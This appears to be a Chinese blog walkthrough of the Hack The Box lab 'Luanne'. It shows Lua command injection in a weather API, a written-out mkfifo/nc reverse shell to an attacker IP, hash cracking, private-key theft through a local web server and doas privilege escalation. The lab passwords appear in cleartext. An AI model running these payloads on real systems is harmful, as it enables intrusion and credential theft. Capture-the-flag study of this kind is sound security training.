【Hack The Box】Linux练习-- Luanne

news2025/1/21 11:26:48

HTB 学习笔记

【Hack The Box】Linux练习-- Luanne


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月24日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • 80
    • 9001
    • 80枚举
    • lua注入
    • 深入
    • 当前用户->r.michaels
    • 继续寻找
    • enc文件与gpg密钥环

在这里插入图片描述

信息收集

有用的信息如下

22/tcp   open  ssh     OpenSSH 8.0 
80/tcp   open  http    nginx 1.19.0
robots.txt
9001/tcp open  http    Medusa httpd 1.12 (Supervisor 

80

首先有一个登陆框,我们现在啥都没有,先放
爆破一下目录
得知以下内容
TCP 80 有一个 robots.txt文件,他提示有一个 /weather

在这里插入图片描述

9001

Medusa httpd 1.12 (Supervisor process manager)
Medusa是Supervisor的托管服务器
http://supervisord.org/configuration.html
在这里查看supervisord的一些配置信息
得到信息如下:
Supervisor 配置文件通常命名为 supervisord.conf
在这里插入图片描述找打了默认密码

在这里插入图片描述登陆之后发现也没啥东西
但是这个页面不会有什么问题
我将点击三个name,查看,其中,一大串字符引起了我的注意

在这里插入图片描述

httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www 

我只能知道正在处理lua脚本,lua处理的好像就是之前的那个80页面

但是这里我就不太会用了,我将接着枚举80页面,看看robots.txt提刀的页面能不能干点事情

80枚举

feroxbuster -u http://10.10.10.218/weather -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt 

我将针对/weath页面进行更深入的枚举

枚举出了

http://10.10.10.218/weather/forecast

在这里插入图片描述
根据页面提示,我输入url如下
http://10.129.18.130/weather/forecast?city=list
在这里插入图片描述

lua注入

这个时候想起之前那个lua脚本也叫weath,我想这些数据就是通过lua来搞的

请求在 /weather/forecast被传递给 Lua 脚本,结果以 JSON 形式返回

我将对lua进行注入

首先先来个单引号
http://10.10.10.218/weather/forecast?city=’
报错了,说明存在注入
在这里插入图片描述然后按照通用的lua注入方法,用括号
curl -s “http://10.129.18.130/weather/forecast?city=')±-”

在这里插入图片描述
可以看到已经不报错了,而是说没有这个城市
然后执行命令

curl -s “http://10.129.18.130/weather/forecast?city=')+os.execute(‘id’)±-”
在这里插入图片描述
因为这个盒子是 BSD,所以一些典型的 Linux 反向 shell 将无法工作
至于什么是bsd不重要,这是一个已经停产的操作系统

-G将强制执行 GET 命令,并使用来自 --data-urlencode在 url 而不是在正文中。

curl -G --data-urlencode "city=') os.execute('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 8888 >/tmp/f') --" 'http://10.129.18.130/weather/forecast' -s

深入

在这里插入图片描述
同样的passwd敏感性

webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0

/home有用户r.michaels

hashcat -m 500 htpasswd --user /usr/share/wordlists/rockyou.txt

凭据如下

webapi_user/iamthebest

但是他也不是用户,所以我需要找一个地方去使用这个凭据,我想到了9001以及80页面都可以登陆,但是80还没进去过,所以我将优先去80

登陆成功
在这里插入图片描述
在这里插入图片描述
啥也没有了

当前用户->r.michaels

ps auxww | grep michaels
找一下michaels所运行的进程

r.michaels   556  0.0  0.0  36332  1984 ?     Is    2:18AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www

它看起来非常类似于 httpd上面的过程,但是这个运行的是不同的 weather.lua脚本,侦听 TCP 3001(而不是 3000),并服务于 /home/r.michaels/devel/www

同样的测试一下

curl -s -G http://127.0.0.1:3001/weather/forecast --data-urlencode "city=') os.execute('id') --"

但是不行

因为他服务于/home/r.michaels/devel/www
所以我要访问一下他的首页
也就是
要从本地访问,因为3001端口外部没有开放,所以这是一个本地服务

 curl -s http://127.0.0.1:3001/~r.michaels/

在这里插入图片描述
说我们没有凭据

curl -s http://127.0.0.1:3001/~r.michaels/ -u webapi_user:iamthebest
<!DOCTYPE html>
<html><head><meta charset="utf-8"/>
<style type="text/css">
table {
        border-top: 1px solid black;
        border-bottom: 1px solid black;
}
th { background: aquamarine; }
tr:nth-child(even) { background: lavender; }
</style>
<title>Index of ~r.michaels/</title></head>
<body><h1>Index of ~r.michaels/</h1>
<table cols=3>
<thead>
<tr><th>Name<th>Last modified<th align=right>Size
<tbody>
<tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td align=right>1kB
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
</table>
</body></html>

发现在这个目录下有一个id_rsa
curl -s http://127.0.0.1:3001/~r.michaels/id_rsa -u webapi_user:iamthebest
请求私钥
复制粘贴到本地之后,赋予600权限
而后登陆
在这里插入图片描述

find / -name doas.conf 2>/dev/null

BSD 上的等价物是 doas. 配置文件有点直接?
在这里插入图片描述
doas sh

但是需要密码

如果我能找到密码我将这么执行

继续寻找

我在用户的home下寻找,这也是正常的路径

enc文件与gpg密钥环

在这里插入图片描述发现一个enc加密的压缩包,这种格式需要特定的密钥
通常是gpg密钥

ls -l /home/r.michaels/.gnupg/
我注意到 .gnupgr.michael 主目录中的目录,它包含密钥环:
在这里插入图片描述在gpg密钥的目录下

netpgp --decrypt --output=/tmp/rong.tar.gz backups/devel_backup-2020-09-16.tar.gz.enc

cd /tmp
gunzip rong.zip
tar zxvf rong.tar

在这里插入图片描述
被清理了,要加快一点动作

最后我们发现,存在一个解压出来的文件

luanne$ cat devel-2020-09-16/www/.htpasswd
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.

得到密码
littlebear

doas sh

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/40717.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

零基础搭建基于知识图谱的电影问答系统

零基础搭建基于知识图谱的电影问答系统一、项目准备二、项目数据三、训练问题分类器四、准备问答模板五、搭建webapp六、问题预处理一、项目准备 首先需要一款python编译器&#xff0c;本人选用的是PyCharm&#xff0c;搭建好Python环境&#xff1b;安装第三方依赖库&#xff…

【Hack The Box】linux练习-- Delivery

HTB 学习笔记 【Hack The Box】linux练习-- Delivery &#x1f525;系列专栏&#xff1a;Hack The Box &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f4c6;首发时间&#xff1a;&#x1f334;2022年11月17日&#x1f334; &#x1…

黄佳《零基础学机器学习》chap1笔记

黄佳 《零基础学机器学习》 chap1笔记 这本书实在是让我眼前一亮&#xff01;&#xff01;&#xff01; 感觉写的真的太棒了&#xff01; 文章目录黄佳 《零基础学机器学习》 chap1笔记第1课 机器学习快速上手路径—— 唯有实战1.1 机器学习族谱1.2 云环境入门实践&#xff1a;…

ERD Online 4.0.4 元数据在线建模(免费、私有部署)

❝ fix(erd): 修改表名、模块名自定义提示fix(erd): 支持自定义表名显示格式fix(erd): 升级ant到5.0.1版本fix(erd): 修复PDMan导入类型列为空fix(erd): 增加类型列宽度&#xff0c;避免类型显示不全fix(erd): 修复表设计报undefine异常fix(erd): 修复版本比对&#xff0c;出现…

二分搜索算法框架解析

文章目录 一、寻找一个数&#xff08;基本的二分搜索&#xff09;二、寻找左侧边界的二分搜索三、寻找右侧边界的二分查找总结 一、寻找一个数&#xff08;基本的二分搜索&#xff09; 这个场景是最简单的&#xff0c;可能也是大家最熟悉的&#xff0c;即搜索一个数&#xf…

2023年天津财经大学珠江学院专升本经济学专业课考试大纲

天津财经大学珠江学院2023年高职升本科专业课考试《经济学》考试大纲一、本大纲系天津财经大学珠江学院2023年高职升本科《经济学》课程考试大纲。所列考试范围出自郑健壮、王培才主编的教材《经济学基础&#xff08;第二版&#xff09;》&#xff0c;清华大学出版社&#xff0…

win10通过Docker搭建LNMP环境全流程

win10通过Docker搭建LNMP环境全流程 下载安装docker desktop 由于博主环境已经安装好了&#xff0c;一些异常设置&#xff0c;暂且略过 根据官方教程下载docker desktop执行文件.exe 注意尽量不要把docker安装到C盘&#xff0c;除非你的C盘很大&#xff0c;具体可以参考文章 …

初识 Spring 框架

文章目录一、Spring 介绍二、Spring 下载安装三、编写入门程序1.项目文件构架2.引入相关依赖3.创建实体类4.Spring 配置文件5.编写测试类四、控制反转与依赖注入1.控制反转概念2.依赖注入概念3.依赖注入的类型4.依赖注入的应用一、Spring 介绍 Spring 是由 Rod Johnson 组织和…

计算机毕设题目设计与实现(论文+源码)_kaic

毕业设计(论文)题目 高校图书馆座位预约选座微信小程序设计与实现 基于防火墙的访问控制系统的设计与实现 基于区块链的农产品追溯系统设计与实现 学生公寓楼改造布线系统规划与设计 智能家居网络设计与实现“互联网”农村精准扶贫共享平台的设计与实现“智慧健康少儿成长平台”…

Linux内核——门相关入门知识

为什么20位的寻址可以达到1MB&#xff1f; &#x1f512; 点击查看答案 &#x1f512; 拆分如下的段描述符&#xff1a; 0000000000000000 00cf9b000000ffff 00cf93000000ffff 00cffb000000ffff 00cff3000000ffff 80008b04200020ab ffc093dff0000001 0040f30000000fff 0000f20…

TypeScript开启

TypeScript是什么&#xff1f; typescript是以JavaScript为基础构建的语言&#xff0c;是一个Javascript的超集&#xff0c;可以在任何支持JavaScript的平台中执行&#xff0c;typescript扩展了JavaScript&#xff0c;并添加了类型。 注意&#xff1a;ts不能被js直接解析执行&…

MySQL的join你真的了解吗!!!

1.测试用例数据库信息 本文章采用的数据库结构&#xff0c;以及MySQL版本&#xff1a;5.7 t1 表&#xff0c;有一个主键id&#xff0c;字段a&#xff0c;字段b。 &#xff08;此表建立了一个索引a&#xff09; 数据大约1000条 t2 表&#xff0c;有一个主键id&#xff0c;字段…

C++标准库分析总结(十一)——<适配器>

目录 1 适配器简介 2 适配器使用分类 2.1 容器适配器 2.2 函数适配器 2.2.1 常见的函数适配器 2.2.2 bind2nd 2.2.3 not1 2.2.4 新型适配器bind 2.3 迭代器适配器 2.3.1 reverse_iterator 2.3.2 insert_iterator 2.4 X适配器 2.4.1 ostream_iterator 2.4.2 istre…

BUUCTF-babyheap_0ctf_2017

checksec 标准堆菜单 IDA Allocate void __fastcall sub_D48(__int64 a1) {int i; // [rsp10h] [rbp-10h]int v2; // [rsp14h] [rbp-Ch]void *v3; // [rsp18h] [rbp-8h]for ( i 0; i < 15; i ){if ( !*(_DWORD *)(24LL * i a1) ){printf("Size: ");v2 sub_1…

【云原生】无VIP稳定性和可扩展性更强的k8s高可用方案讲解与实战操作

文章目录一、概述二、架构三、开始部署1&#xff09;节点信息2&#xff09;前期准备&#xff08;所有节点&#xff09;1、配置hosts2、配置互信3、时间同步4、关闭防火墙5、禁用SELinux6、关闭swap7、设置bridge-nf-call-iptables3&#xff09;安装容器docker&#xff08;所有节…

C++标准库分析总结(十)——<仿函数/函数对象>

目录 1.functor仿函数简介 2 仿函数的分类 3 仿函数使用 4 仿函数可适配的条件 1.functor仿函数简介 仿函数是STL中最简单的部分&#xff0c;存在的本质就是为STL算法部分服务的&#xff0c;一般不单独使用。仿函数&#xff08;functors&#xff09;又称为函数对象&…

Windows 命令行cmd.exe简单介绍

介绍&#xff1a; 在windows系统中&#xff0c;Windows命令shell&#xff08;cmd.exe&#xff09;,在 SystemRoot/System32目录下。 启动命令行&#xff0c;在"开始"——>"搜索"中输入cmd&#xff0c;此时命令行展示当前工作目录&#xff0c;默认为/u…

JS(第二十四课)JS高级Es6语法

ECMAScript 6_百度百科 (baidu.com) 第一部分:百度简介 ECMAScript 6&#xff08;简称ES6&#xff09;是于2015年6月正式发布的JavaScript语言的标准&#xff0c;正式名为ECMAScript 2015&#xff08;ES2015&#xff09;。它的目标是使得JavaScript语言可以用来编写复杂的大型…

mybatis 01: 静态代理 + jdk动态代理 + cglib动态代理

背景 有时目标对象不可直接访问&#xff0c;只能通过代理对象访问 图示&#xff1a; 示例1&#xff1a; 房东 > 目标对象房屋中介 > 代理对象你&#xff0c;我 > 客户端对象示例2&#xff1a; 运营商(电信&#xff0c;移动&#xff0c;联通) > 目标对象第三方公司…

(Java)P1223 排队接水

排队接水 一、 题目描述 有 nnn 个人在一个水龙头前排队接水&#xff0c;假如每个人接水的时间为 TiT_iTi​&#xff0c;请编程找出这 nnn 个人排队的一种顺序&#xff0c;使得 nnn 个人的平均等待时间最小。 二、输入格式 第一行为一个整数 nnn。 第二行 nnn 个整数&…